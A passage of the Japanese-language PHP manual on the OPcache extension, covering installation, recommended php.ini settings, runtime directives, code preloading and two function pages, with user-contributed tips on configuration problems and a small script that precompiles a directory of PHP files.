OPcache は共有ライブラリ形式の拡張モジュールとしてしかコンパイルできません。 --disable-all を指定してデフォルトでコンパイルされる拡張モジュールを無効にしている場合は、OPcache が利用可能になるように --enable-opcache オプションを使って PHP をコンパイルしなければいけません。

いったんコンパイルすると、zend_extension 設定ディレクティブを使って OPcache を PHP にロードできます。これは zend_extension=/full/path/to/opcache.so という設定で行えます。Windows の場合は zend_extension=C:\path\to\php_opcache.dll を使います。

注意:

OPcache を » Xdebug と一緒に使う場合は、OPcache を Xdebug より前にロードさせなければいけません。

推奨される php.ini の設定

良好なパフォーマンスを得るために、一般的に推奨される設定は次の通りです。

opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.enable_cli=1

opcache.save_comments を無効にし、 opcache.enable_file_override を有効にしたいと思うかもしれませんが、この設定を行う前に実運用環境であなたのコードを必ずテストするようにしてください。なぜなら、この設定は特にドキュメント向けのコメントやアノテーションを使っている場合に、既存のフレームワークやアプリケーションが壊れることが既知の現象としてあるからです。

Windows では、 opcache.file_cache_fallback を有効にすべきです。 かつ、既に存在し、書き込み可能なディレクトリを opcache.file_cache に設定すべきです。

OPcache がサポートしている設定ディレクティブの完全なリストは 実行時設定 のページにあります。

User Contributed Notes

stchr 03-Mar-2021 08:09
Please note that opcache.fast_shutdown was removed in PHP 7.2
ijf8090 at gmail dot com 16-Jul-2020 01:11
find the location of your php.ini file by typing
php -i | grep php.ini

Restart your web server to activate your changes
in my case
sudo /usr/sbin/apachectl restart
NoiseEee 06-Mar-2014 04:34
While the "suggested" opcache settings for php.ini might be appropriate for a production server, you're going to want to change several while you're developing, or you're not going to see any changes to your code. Get familiar with what they mean before blindly pasting that into php.ini and assuming things are going to work well.


実行時設定

php.ini の設定により動作が変化します。

OPcache 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
opcache.enable | "1" | PHP_INI_ALL |
opcache.enable_cli | "0" | PHP_INI_SYSTEM | PHP 7.1.2 と 7.1.6 の間では、デフォルトは "1" でした
opcache.memory_consumption | "128" | PHP_INI_SYSTEM |
opcache.interned_strings_buffer | "8" | PHP_INI_SYSTEM |
opcache.max_accelerated_files | "10000" | PHP_INI_SYSTEM |
opcache.max_wasted_percentage | "5" | PHP_INI_SYSTEM |
opcache.use_cwd | "1" | PHP_INI_SYSTEM |
opcache.validate_timestamps | "1" | PHP_INI_ALL |
opcache.revalidate_freq | "2" | PHP_INI_ALL |
opcache.revalidate_path | "0" | PHP_INI_ALL |
opcache.save_comments | "1" | PHP_INI_SYSTEM |
opcache.fast_shutdown | "0" | PHP_INI_SYSTEM | PHP 7.2.0 で削除されました
opcache.enable_file_override | "0" | PHP_INI_SYSTEM |
opcache.optimization_level | "0x7FFEBFFF" | PHP_INI_SYSTEM | PHP 7.3.0 で 0x7FFFBFFF から変更されました。
opcache.inherited_hack | "1" | PHP_INI_SYSTEM | PHP 7.3.0 で削除されました
opcache.dups_fix | "0" | PHP_INI_ALL |
opcache.blacklist_filename | "" | PHP_INI_SYSTEM |
opcache.max_file_size | "0" | PHP_INI_SYSTEM |
opcache.consistency_checks | "0" | PHP_INI_ALL |
opcache.force_restart_timeout | "180" | PHP_INI_SYSTEM |
opcache.error_log | "" | PHP_INI_SYSTEM |
opcache.log_verbosity_level | "1" | PHP_INI_SYSTEM |
opcache.preferred_memory_model | "" | PHP_INI_SYSTEM |
opcache.protect_memory | "0" | PHP_INI_SYSTEM |
opcache.mmap_base | null | PHP_INI_SYSTEM |
opcache.restrict_api | "" | PHP_INI_SYSTEM |
opcache.file_update_protection | "2" | PHP_INI_ALL |
opcache.huge_code_pages | "0" | PHP_INI_SYSTEM |
opcache.lockfile_path | "/tmp" | PHP_INI_SYSTEM |
opcache.opt_debug_level | "0" | PHP_INI_SYSTEM | PHP 7.1.0 以降で利用可能
opcache.file_cache | NULL | PHP_INI_SYSTEM |
opcache.file_cache_only | "0" | PHP_INI_SYSTEM |
opcache.file_cache_consistency_checks | "1" | PHP_INI_SYSTEM |
opcache.file_cache_fallback | "1" | PHP_INI_SYSTEM | Windows のみ
opcache.validate_permission | "0" | PHP_INI_SYSTEM | PHP 7.0.14 以降で利用可能
opcache.validate_root | "0" | PHP_INI_SYSTEM | PHP 7.0.14 以降で利用可能
opcache.preload | "" | PHP_INI_SYSTEM | PHP 7.4.0 以降で利用可能
opcache.preload_user | "" | PHP_INI_SYSTEM | PHP 7.4.0 以降で利用可能
opcache.cache_id | "" | PHP_INI_SYSTEM | Windows のみ。PHP 7.4.0 以降で利用可能
opcache.jit | "tracing" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_buffer_size | "0" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_debug | "0" | PHP_INI_ALL | Available as of PHP 8.0.0
opcache.jit_bisect_limit | "0" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_prof_threshold | "0.005" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_max_root_traces | "1024" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_max_side_traces | "128" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_max_exit_counters | "8192" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_hot_loop | "64" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_hot_func | "127" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_hot_return | "8" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_hot_side_exit | "8" | PHP_INI_SYSTEM | PHP 8.0.0 以降で利用可能
opcache.jit_blacklist_root_trace | "16" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_blacklist_side_trace | "8" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_max_loop_unrolls | "8" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_max_recursive_calls | "2" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_max_recursive_returns | "2" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
opcache.jit_max_polymorphic_calls | "2" | PHP_INI_ALL | PHP 8.0.0 以降で利用可能
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

opcache.enable bool

オペコード・キャッシュを有効にします。 無効にした場合、コードは最適化もキャッシュもされません。 opcache.enable の設定を、実行時に ini_set() で有効化することはできません。 実行時にできるのは、無効化だけです。スクリプト内で有効化しようとすると、警告が発生します。

opcache.enable_cli bool

PHP の CLI 版に対してオペコード・キャッシュを有効にします。

opcache.memory_consumption int

OPcache によって使用される共有メモリ・ストレージのサイズ。（ MB 単位） 設定できる最小値は "8" です。これより小さい値を設定しても、最小値が強制されます。

opcache.interned_strings_buffer int

インターン (intern) された文字列を格納するために使用されるメモリ量。（ MB 単位）

opcache.max_accelerated_files int

OPcache ハッシュテーブルのキー（すなわちスクリプト）の最大数。 使用される現時点の値は、 素数の集合 { 223, 463, 983, 1979, 3907, 7963, 16229, 32531, 65407, 130987, 262237, 524521, 1048793 } のうち、 設定値以上の最初の数値です。 最小値は 200 です。最大値は 1000000 です。 これらの範囲外の値が設定されても、範囲内の値に設定し直されます。

opcache.max_wasted_percentage int

メモリが不十分な場合に、再起動がスケジュールされるまでに許される、無駄なメモリの最大の割合。 最大値は "50" です。これ以上の値が設定されても、最大値が強制されます。

opcache.use_cwd bool

有効にすると、OPcache は現行の作業ディレクトリをスクリプト・キーに追加します。 その方法によって、同じ基底名を持つファイル同士で起こりうる衝突を回避します。 このディレクティブを無効にするとパフォーマンスが向上しますが、既存のアプリケーションを破壊するかもしれません。

opcache.validate_timestamps bool

有効にすると、OPcache は、スクリプトが更新されたか opcache.revalidate_freq 秒ごとにチェックします。 このディレクティブが無効な場合、ファイルシステムへの変更を反映するには、 opcache_reset() または opcache_invalidate() 関数を介して、 または Web サーバを再起動して手動で OPcache をリセットしなければいけません。

opcache.revalidate_freq int

更新のためにスクリプトのタイムスタンプをチェックする頻度。（秒単位） 0 にすると、OPcache は、リクエストごとに更新をチェックします。

この設定ディレクティブは、 opcache.validate_timestamps が無効の場合、 無視されます。

opcache.revalidate_path bool

無効にすると、 同一の include_path を使用する、 キャッシュされた既存のファイルが再利用されます。 したがって、同じ名前を持つファイルが include_path の他の部分にあると、それは見つかりません。

opcache.save_comments bool

無効にすると、最適化したコードのサイズを減らすために OPcode キャッシュからすべてのドキュメンテーション・コメントが廃棄されます。 この設定ディレクティブを無効にすると、注釈のためにコメント・パースに依存するアプリケーションおよびフレームワークを破壊するかもしれません。 それには、Doctrine、Zend Framework 2 および PHPUnit が含まれます。

opcache.fast_shutdown bool

有効にすると、それぞれに割り当てられたブロックを解放しない、高速シャットダウン・シーケンスが使用されます。 しかし、リクエスト変数のすべてのセットをひとまとめに割当てを解除することは、Zend Engine のメモリ・マネージャに依存します。

このディレクティブは、PHP 7.2.0 で削除されました。 高速なシャットダウンシーケンスの類の設定は、PHP本体に統合され、可能であれば自動的に使用されます。

opcache.enable_file_override bool

有効にすると、file_exists()、 is_file() および is_readable() が呼ばれた際に、 ファイルが既にキャッシュ済みかどうかをオペコード・キャッシュからチェックします。 これは、PHP スクリプトの存在および読み込み可能かをチェックするアプリケーションのパフォーマンスを改善させるかもしれません。 しかし、opcache.validate_timestamps が無効な場合に、 陳腐化した結果を返す危険があります。

opcache.optimization_level int

どの最適化パスが実行されるかコントロールするビットマスク。

opcache.inherited_hack bool

この設定ディレクティブの値は無視されます。

opcache.dups_fix bool

"Cannot redeclare class" （クラスを再宣言できません）というエラーを回避する目的でのみ、このハックを有効にするべきです。

opcache.blacklist_filename string

OPcache ブラックリスト・ファイルの場所。 ブラックリスト・ファイルは、高速化すべきではないファイルの名前を 1 行につき 1 つ含むテキストファイルです。 ワイルドカードが許されます。そして、プレフィックスも提示できます。 セミコロンで始まる行は、コメントとして無視されます。

簡単なブラックリスト・ファイルは、以下の通りかもしれません。

; 特定のファイルに一致します。
/var/www/broken.php
; x で始まるすべてのファイルに一致するプレフィックス
/var/www/x
; ワイルドカード一致です。
/var/www/*-broken.php
opcache.max_file_size int

キャッシュできるファイル・サイズの最大。（バイト単位） これが 0 の場合、すべてのファイルがキャッシュされます。

opcache.consistency_checks int

ゼロ以外の場合、OPcache は、リクエスト Ｎ 回毎にキャッシュのチェックサムを検証します。 N は、この設定ディレクティブの値です。 パフォーマンスを損なうので、これはデバッグ時のみ有効にすべきです。

opcache.force_restart_timeout int

キャッシュがアクティブではない場合に、スケジュールされた再起動が始まるのを待つ時間の長さ。（秒単位） タイムアウトに達すると、OPcache は何か具合が悪いとみなして、リスタートできるようにするためにキャッシュのロックを所持する処理を殺します。

opcache.log_verbosity_level が 2 以上の場合、警告発生時にエラーログに記録されます。

このディレクティブは、Windows ではサポートされていません。

opcache.error_log string

エラーに対するエラーログ。 空の文字列は、stderr と同様に扱われ、 結果として標準エラー（ほとんどの場合、Web サーバーのエラーログです）に送られるログになります。

opcache.log_verbosity_level int

ログ冗長レベルです。 デフォルトでは、致命的エラー（レベル 0 ）およびエラー（レベル 1 ）だけが記録されます。 利用できる他のレベルは、警告（レベル 2 ）、情報メッセージ（レベル 3 ）およびデバッグ・メッセージ（レベル 4 ）です。

opcache.preferred_memory_model string

OPcache が使用する優先のメモリ・モデル。 空のままにすると、OPcache は最も適切なモデルを選びます。 それは実質的にすべての場合に正しいふるまいです。

可能な値には、mmap、shm、 posix および win32 があります。

opcache.protect_memory bool

スクリプト実行中に予期しない書込みから共有メモリを保護する。 これは、内部のデバッギングだけに役立ちます。

opcache.mmap_base string

Windows 上で共有メモリ・セグメントに使用される基底。 すべての PHP 処理は、共有メモリを同じアドレス空間にマップしなければいけません。 このディレクティブを使用すると、"Unable to reattach to base address" （基底アドレスに再アタッチできません） というエラーを修復できます。

opcache.restrict_api string

OPcache API 関数の呼び出しを、指定した文字列から始まるパス上の PHP スクリプトからだけに制限します。 デフォルトは "" で、これは、何も制限しないことを意味します。

opcache.file_update_protection string

ここで指定された秒数の間は、キャッシュすることを防ぎます。 これにより、不完全に更新されたファイルがキャッシュされることを防止します。 あなたのサイトの全てのファイルの更新がアトミックに行われる場合、 この設定を "0" に設定することで、パフォーマンスを向上させられる可能性があります。

opcache.huge_code_pages bool

PHPコード(textセグメント)を HUGE PAGE にコピーする機能を有効にしたり、無効にしたりできます。 これにより、パフォーマンスは向上するはずですが、適切なOSの設定が必要です。 Linux では PHP 7.0.0 以降、FreeBSD では PHP 7.4.0 以降が必要です。

opcache.lockfile_path string

共用ロックファイルを格納する絶対パス (*nix のみ)

opcache.opt_debug_level string

異なった段階の最適化をデバッグするために、オペコードのダンプを生成します。 0x10000 を指定すると、新湯最適化の前にコンパイラが提供するオペコードを出力します。 0x20000 を指定すると、最適化されたコードを出力します。

opcache.file_cache string

ファイルベースのセカンドレベル opcode キャッシュを有効にし、そのディレクトリを設定します。 これは共有メモリ上の opcode キャッシュがいっぱいの時やサーバ再起動時、 もしくは共有メモリ上の opcode キャッシュをリセットした場合のパフォーマンスを向上させます。 デフォルトは "" で、これはファイルベースのキャッシュを無効にします。

opcache.file_cache_only bool

共有メモリ内でのオペコード・キャッシュを有効あるいは無効にします。

opcache.file_cache_consistency_checks bool

ファイルキャッシュから読み込んだスクリプトのチェックサムの検証を有効あるいは無効にします。

opcache.file_cache_fallback bool

共有メモリへの再アタッチに失敗するプロセスについて、 opcache.file_cache_only=1 であるものとみなします (Windows のみ)。 ファイルキャッシュを明示的に有効にする必要があります。

警告

この構成オプションを無効にすると、プロセスの開始が妨げられる可能性があります。 そのため推奨しません。

opcache.validate_permission bool

キャッシュされたファイルのアクセス権限を現在のユーザーに対して検証します。

opcache.validate_root bool

chroot された環境での名前の衝突を防止します。 これは、chroot 以外でのファイルへのアクセスを防止するために、 chroot されたすべての環境で有効にする必要があります。

opcache.preload string

サーバが起動した際にコンパイルされ、実行されるPHPスクリプトを指定します。 ここで指定したファイルは include されたり、opcache_compile_file() 関数で指定されることで他のファイルもロードするかもしれません。 それらのファイルに指定された全てのエンティティ(e.g 関数やクラス) は、サーバがシャットダウンされるまで、外部からのリクエストに対して利用できるようになります。

注意:

コードの事前ロードは、Windows ではサポートされていません。

opcache.preload_user string

root ユーザでコードをあらかじめロードすることは、セキュリティ上の理由から禁止されています。 このディレクティブは、コードを別のユーザでロードする手助けをします。

opcache.cache_id string

Windows では、同じユーザーアカウントで同じ PHP SAPI を実行し、 かつ同じ cache ID を持つ全てのプロセスが同一の OPcache インスタンスを共有します。 cache ID の値は自由に選べます。

ヒント

IIS の場合、異なるアプリケーションプールは 環境変数 APP_POOL_ID を opcache.cache_id の値として使うことで、 それぞれが異なる OPcache インスタンスを持つことが出来ます。

opcache.jit string|int

典型的な使い方として、このオプションには以下の4通りの文字列を指定できます。

  • disable: 完全に無効にする。実行時にも有効にできません。
  • off: 無効にしますが、実行時に有効にできます。
  • tracing/on: トレーシングJIT を使う。 デフォルトはこの値です。ほとんどのユーザに推奨される値です。
  • function: 関数単位でJITを使う。

高度な使い方として、このオプションには4桁の整数値 CRTO を指定できます。 それぞれの桁の意味は下記のとおりです。

C (特定のCPU向けの最適化フラグ)
  • 0: 特定のCPU向けの最適化を無効にする
  • 1: CPU がサポートしている場合に、AVX の使用を有効にする。
R (レジスタの割り付け)
  • 0: レジスタ割り付けを行わない
  • 1: ブロックについて、ローカルレジスタ割り付けを行う
  • 2: グローバルレジスタ割り付けを行う
T (JITを行うトリガ)
  • 0: スクリプトの読み込み時に全ての関数をコンパイルする
  • 1: 最初の実行時に関数をコンパイルする
  • 2: 最初のリクエスト時に関数の実行をプロファイリングし、 ホットな関数を後でコンパイルします。
  • 3: その場でプロファイリングを行い、ホットな関数をコンパイルします
  • 4: 現在は使われていません。
  • 5: トレーシングJITを使う。 その場でプロファイリングを行い、ホットコードの断片のトレースをコンパイルします。
O (最適化レベル)
  • 0: JIT を使わない
  • 1: 最小限しかJITを使わない (通常のVMハンドラを呼び出す)
  • 2: VMハンドラをインライン化する
  • 3: 型推論を使う
  • 4: コールグラフを使う
  • 5: スクリプト全体を最適化する
"tracing" モードは、CRTO = 1254 に対応しています。 "function" モードは、CRTO = 1205 に対応しています。

opcache.jit_buffer_size int

コンパイル済みのJITコードを保存する共有メモリの合計サイズ。 0 を指定すると、JIT が無効になります。

intを使用する際、 その値はバイト単位で測られます。 この FAQ に記載された 短縮表記を使用することも可能です。
opcache.jit_debug int

どの JIT のデバッグ出力を有効にするかを指定するビットマスク。 指定可能な値については、zend_jit.h を参照して下さい。

opcache.jit_bisect_limit int

一定の数の関数をコンパイル後、JIT コンパイルを無効にするデバッグオプション。 このオプションは、JITコンパイルが失敗している原因を二分探索するのに役立ちます。

opcache.jit_prof_threshold float

JITを行うトリガに "最初のリクエスト時にプロファイリングを行う" モードが指定されている場合、 どの関数がホットであるかはこのしきい値によって決まります。 特定の関数の呼び出し回数を、全関数の呼び出し回数で割った数は、この値以上でなければなりません。 たとえば、0.005 という値を指定すると、 全ての呼び出しの 0.5% 以上を占める関数が JITコンパイルされるという意味になります。

opcache.jit_max_root_traces int

トレースの起点(根,ルート)となる、ルートトレースの数の最大値を指定します。

opcache.jit_max_side_traces int

ルートトレースが、子となるサイドトレースを最大いくつ持つことができるかを指定します。

opcache.jit_max_exit_counters int

サイドトレースの出口のカウンタを最大いくつ持つかを指定します。 この数によって、全ルートトレースが持つサイドトレースの数の合計値を制御できます。

opcache.jit_hot_loop int

何回イテレーションが行われたら、そのループをホットと判断するかを指定します。

opcache.jit_hot_func int

何回関数呼び出しが行われたら、関数をホットと判断するかを指定します。

opcache.jit_hot_return int

何回リターンした場合に、そのリターンをホットと判断するかを指定します。

opcache.jit_hot_side_exit int

サイドトレースから何回抜けたら、ホットと判断するかを指定します。

opcache.jit_blacklist_root_trace int

ブラックリストに入れるまでに、ルートトレースのコンパイルを最大何回試みるかを指定します。

opcache.jit_blacklist_side_trace int

ブラックリストに入れるまでに、サイドトレースのコンパイルを最大何回試みるかを指定します。

opcache.jit_max_loop_unrolls int

ルートトレースに達して外側のループが閉じられるまでに、 サイドトレース内で行えるループ展開の回数の最大値を指定します。

opcache.jit_max_recursive_calls int

再帰的な呼び出しループを展開する最大の回数を指定します。

opcache.jit_max_recursive_returns int

再帰的に行われるリターンを展開する最大回数を指定します。

opcache.jit_max_polymorphic_calls int

(動的な、もしくはメソッドの)ポリモーフィックな呼び出しのインライン化を試みる回数の最大値を指定します。 この呼び出し回数を超えると、メガモーフィックと見なされ、インライン化されません。

User Contributed Notes

carneiro at isharelife dot com dot br 08-Jan-2020 03:39
If you try to allocate more memory that is available using opcache.memory_consumption PHP stops working without any logs to help on debugging. This issue took me 4 hours to solve when creating a staging server with same configrations and less memory that was available on production server.
tizian dot schmidlin at gmail dot com 15-Apr-2019 09:41
It should be noted that according to the original RFC (https://wiki.php.net/rfc/preload) `opcache.preload` caches preloaded files *forever* for all instances of the underlying PHP process.

That means, that hosting multiple websites on the same server might result in some unexpected behaviour.

Concrete example:
- you have a Symfony 3.2 App (which might be an endpoint of some type) and a Symfony 3.4 App (which might be your main application)
- both apps have a main Class called App that is in the same namespace (as it is usual, since the class name is unique to each project)
- depending on which app is loaded first, one or the other will work, since `opcache.preload` has no file based distinction of what class is used where and simply provides them to the user space

This is avoidable by simply not preloading user space classes or, if you work with FPM, by defining a pool for each app.

In order to optimize memory consumption, you might also use a common FPM Pool for all Symfony 3.4 Apps and preload the entire framework in there and simply not preload user space classes (which might be cached by opcache anyway but is slower, since it will be checked if the file has changed on every request).
wessos at example dot org 12-Dec-2018 10:53
The optimization levels as of php 7.3 are the following:

#define ZEND_OPTIMIZER_PASS_1        (1<<0)   /* CSE, STRING construction     */
#define ZEND_OPTIMIZER_PASS_2        (1<<1)   /* Constant conversion and jumps */
#define ZEND_OPTIMIZER_PASS_3        (1<<2)   /* ++, +=, series of jumps      */
#define ZEND_OPTIMIZER_PASS_4        (1<<3)   /* INIT_FCALL_BY_NAME -> DO_FCALL */
#define ZEND_OPTIMIZER_PASS_5        (1<<4)   /* CFG based optimization       */
#define ZEND_OPTIMIZER_PASS_6        (1<<5)   /* DFA based optimization       */
#define ZEND_OPTIMIZER_PASS_7        (1<<6)   /* CALL GRAPH optimization      */
#define ZEND_OPTIMIZER_PASS_8        (1<<7)   /* SCCP (constant propagation)  */
#define ZEND_OPTIMIZER_PASS_9        (1<<8)   /* TMP VAR usage                */
#define ZEND_OPTIMIZER_PASS_10        (1<<9)   /* NOP removal                 */
#define ZEND_OPTIMIZER_PASS_11        (1<<10)  /* Merge equal constants       */
#define ZEND_OPTIMIZER_PASS_12        (1<<11)  /* Adjust used stack           */
#define ZEND_OPTIMIZER_PASS_13        (1<<12)  /* Remove unused variables     */
#define ZEND_OPTIMIZER_PASS_14        (1<<13)  /* DCE (dead code elimination) */
#define ZEND_OPTIMIZER_PASS_15        (1<<14)  /* (unsafe) Collect constants */
#define ZEND_OPTIMIZER_PASS_16        (1<<15)  /* Inline functions */

Source: https://lxr.room11.org/xref/php-src%40master/ext/opcache/Optimizer/zend_optimizer.h
damien at overeem dot org 27-Jan-2017 04:35
When using PHP on a windows platform and enabling opcache, you might run into occasional 500 errors. These will appear to show up entirely random.

When this happens, your windows Event log (Windows Logs/Application) will show (probably multiple)  entries from Zend OPcache with Event ID 487. Further information will state the following error message: "Base address marks unusable memory region".

This issue can be resolved by adding the following to your php.ini:

    opcache.mmap_base = 0x20000000

Unfortunately I do not know the significance of the value "0x20000000". I can only tell you that this value works to solve the problem (Tried and tested)
bdurand at ensemblegroup dot net 12-Jan-2017 11:19
It would appear as though the [opcache.enable] setting is indeed NOT PHP_INI_ALL.
For changing it within user.ini yields no effect when disabled at global level. user.ini is ignored for that setting.
BR 14-Nov-2015 01:13
opcache.max_wasted_percentage must have a value between 1 and 50. Otherwise it will automatically set the variable 5 %.


コードの事前ロード

PHP 7.4.0 以降では、エンジンの起動時に opcache に事前ロードするスクリプトを指定できるようになりました。 指定されたファイルに存在する (関数やクラスなどの) あらゆるシンボルは、 明示的にインクルードすることなく全てのリクエストからグローバルに利用できるようになります。 これにより(コードが常に利用できるようになるため)、メモリ使用量と、 パフォーマンスおよび便利さのトレードオフが発生します。 事前ロードされたスクリプトをクリアするには PHP プロセスの再起動が必要です。 つまり、この機能は本番環境でのみ役に立ちます。開発環境では役に立ちません。

パフォーマンスとメモリ使用量の最適なトレードオフは、アプリケーションによって異なることに注意して下さい。 "全てをあらかじめ読み込む" ことはもっとも簡単な戦略かもしれませんが、 必ずしも最適とは限りません。 さらに、コードの事前ロードは、リクエストが終了しても継続して生き残るプロセスの場合にだけ役に立ちます。 つまり、opcache が有効になった CLI スクリプトは動作はしますが、 一般的にコードの事前ロードは役に立ちません。 但し、FFI 経由でコードの事前ロードを使う場合は例外です。

注意:

コードの事前ロードは、Windows ではサポートされていません。

コードの事前ロードを設定するには、2つのステップが必要です。 まず、opcache を有効にしなければなりません。 その上で、opcache.preload の値を php.ini に設定します。

opcache.preload=preload.php

preload.php は、サーバの起動時(PHP-FPM, mod_php, など) に一度だけ実行され、リクエストを越えて生き残るメモリ領域に読み込まれる任意のファイルです。 PHP が root 権限で実行(推奨されません)される場合のために、 opcache.preload_user によって、事前ロードを実行するためのシステムユーザーを指定することが出来ます。 事前ロードを root で行うことは禁止されています。

preload.php スクリプトでは、 include, include_once, require, require_once, opcache_compile_file() で参照されるあらゆるファイルが評価され、 リクエストを越えて生き残るメモリ領域に読み込まれます。 次の例では、src ディレクトリにある全ての .php ファイルが事前ロードされます。 但し、Test ファイルの場合を除きます。

<?php
$directory = new RecursiveDirectoryIterator(__DIR__ . '/src');
$fullTree = new RecursiveIteratorIterator($directory);
$phpFiles = new RegexIterator($fullTree, '/.+((?<!Test)+\.php$)/i', RecursiveRegexIterator::GET_MATCH);

foreach ($phpFiles as $key => $file) {
    require_once($file[0]);
}
?>

include と opcache_compile_file() 両方が動作しますが、コードをどう扱うかが異なります。

  • include は、ファイル内でコードを実行しますが、 opcache_compile_file() は実行しません。 これは、前者のみが条件付きの宣言 (if ブロック内の関数宣言)をサポートしているということです。
  • include はコードを実行するので、 ネストして include されたファイルも評価され、 それに含まれる宣言も事前ロードされます。
  • opcache_compile_file() は任意の順番でファイルを読み込むことが出来ます。 つまり、a.php が クラス A を定義しており、 b.php が A を継承したクラス B を定義している場合、 opcache_compile_file() はそれらふたつのファイルを任意の順番で読み込めます。 しかし、include を使う場合、 a.php は 必ず 最初にインクルードしなければなりません。
  • どちらの場合も、後に読み込まれるスクリプトが、 既に事前ロードされているファイルをインクルードしていれば、 スクリプトの内容は実行されます。しかし、そこで定義されているシンボルは再定義されません。 include_once を使っても、 ファイルが二度インクルードされることを妨げません。
どちらのアプローチが優れているかは、あなたがどのような挙動を望むか次第です。 オートローディング と一緒に使うことで、 opcache_compile_file() は大きな柔軟性を得られます。 一方で、手動でコードをロードする場合、 include を使うほうが堅牢になるでしょう。

User Contributed Notes

There are no user contributed notes for this page.


OPcache 関数

目次

  • opcache_compile_file — PHP スクリプトを、実行せずにコンパイルしてキャッシュする
  • opcache_get_configuration — キャッシュについての構成情報を取得
  • opcache_get_status — キャッシュについてのステータス情報を取得
  • opcache_invalidate — キャッシュされたスクリプトを無効にする
  • opcache_is_script_cached — スクリプトが OPCache にキャッシュされているかどうかを伝えます。
  • opcache_reset — opcode のキャッシュ内容をリセットする

User Contributed Notes

There are no user contributed notes for this page.


PHP スクリプトを、実行せずにコンパイルしてキャッシュする

  • ≪ OPcache 関数
  • opcache_get_configuration ≫
  • PHP Manual
  • OPcache 関数
  • PHP スクリプトを、実行せずにコンパイルしてキャッシュする

opcache_compile_file

(PHP 5 >= 5.5.5, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_compile_file — PHP スクリプトを、実行せずにコンパイルしてキャッシュする

説明

opcache_compile_file ( string $filename ) : bool

この関数は、PHP スクリプトをコンパイルして opcode キャッシュに追加しますが、スクリプトは実行しません。 これを使うと、ウェブサーバーの再起動後にファイルをキャッシュしておき、 後でリクエストがあったときにそのキャッシュを使えるようになります。

パラメータ

filename

コンパイルしたい PHP スクリプトへのパス。

返り値

filename を正常にコンパイルしたときに true を返します。 失敗した場合に false を返します。

エラー / 例外

filename を読み込めなかったりコンパイルできなかったりした場合は E_WARNING レベルのエラーが発生します。 @ を使えば、この警告を抑制できます。

参考

  • opcache_invalidate() - キャッシュされたスクリプトを無効にする

User Contributed Notes

IceNV 06-Dec-2017 03:38
Be aware that opcache will only compile and cache files older than the script execution start.

For instance, if you use a script to generate cache files (e.g. you don't have access to shmop and rely on opcache for in-memory data caching instead), opcache_compile_file will not include the generated file in the cache, because its modification time is after the script start.

The workaround is to use touch() to set a date before the script execution date, then opcache will compile and cache the generated file.
cslistener 16-Jan-2015 07:55
<?php
/**
 * Get files that specified suffix
 * @param $path
 * @param array $files
 * @return array
 */
// http://www.apieye.com/528.html
function getfiles( $path , &$files = array() ) {
    if ( !is_dir( $path ) ) return null;
    $handle = opendir( $path );
    while ( false !== ( $file = readdir( $handle ) ) ) {
        if ( $file != '.' && $file != '..' ) {
            $path2 = $path . '/' . $file;
            if ( is_dir( $path2 ) ) {
                getfiles( $path2 , $files );
            } else {
                if ( preg_match( "/\.(php|php5)$/i" , $file ) ) {
                    $files[] = $path2;
                }
            }
        }
    }
    return $files;
}
$files = getfiles('/png/www/example.com/public_html/app/wordpress');
$br = (php_sapi_name() == "cli") ? "\n" : "<br />";
foreach($files as $file){
  opcache_compile_file($file);
  echo $file.$br;
}


キャッシュについての構成情報を取得

  • ≪ opcache_compile_file
  • opcache_get_status ≫
  • PHP Manual
  • OPcache 関数
  • キャッシュについての構成情報を取得

opcache_get_configuration

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_get_configuration — キャッシュについての構成情報を取得

説明

opcache_get_configuration ( ) : array|false

この関数は、キャッシュ・インスタンスについての構成情報を返します。

返り値

情報の配列を返します。その配列は ini 、ブラックリストおよびバージョンを含みます。

エラー / 例外

opcache.restrict_api を使用中で、 かつ現在のパスがルール違反の場合、 E_WARNING が発生します。 ステータス情報は返されません。

参考

  • opcache_get_status() - キャッシュについてのステータス情報を取得

User Contributed Notes

marcus at synchromedia dot co dot uk 16-Sep-2014 09:08
Example output from this function:

array(3) {
  ["directives"]=>
  array(25) {
    ["opcache.enable"]=>
    bool(true)
    ["opcache.enable_cli"]=>
    bool(true)
    ["opcache.use_cwd"]=>
    bool(true)
    ["opcache.validate_timestamps"]=>
    bool(true)
    ["opcache.inherited_hack"]=>
    bool(true)
    ["opcache.dups_fix"]=>
    bool(false)
    ["opcache.revalidate_path"]=>
    bool(false)
    ["opcache.log_verbosity_level"]=>
    int(1)
    ["opcache.memory_consumption"]=>
    int(134217728)
    ["opcache.interned_strings_buffer"]=>
    int(8)
    ["opcache.max_accelerated_files"]=>
    int(4000)
    ["opcache.max_wasted_percentage"]=>
    float(0.05)
    ["opcache.consistency_checks"]=>
    int(0)
    ["opcache.force_restart_timeout"]=>
    int(180)
    ["opcache.revalidate_freq"]=>
    int(60)
    ["opcache.preferred_memory_model"]=>
    string(0) ""
    ["opcache.blacklist_filename"]=>
    string(0) ""
    ["opcache.max_file_size"]=>
    int(0)
    ["opcache.error_log"]=>
    string(0) ""
    ["opcache.protect_memory"]=>
    bool(false)
    ["opcache.save_comments"]=>
    bool(true)
    ["opcache.load_comments"]=>
    bool(true)
    ["opcache.fast_shutdown"]=>
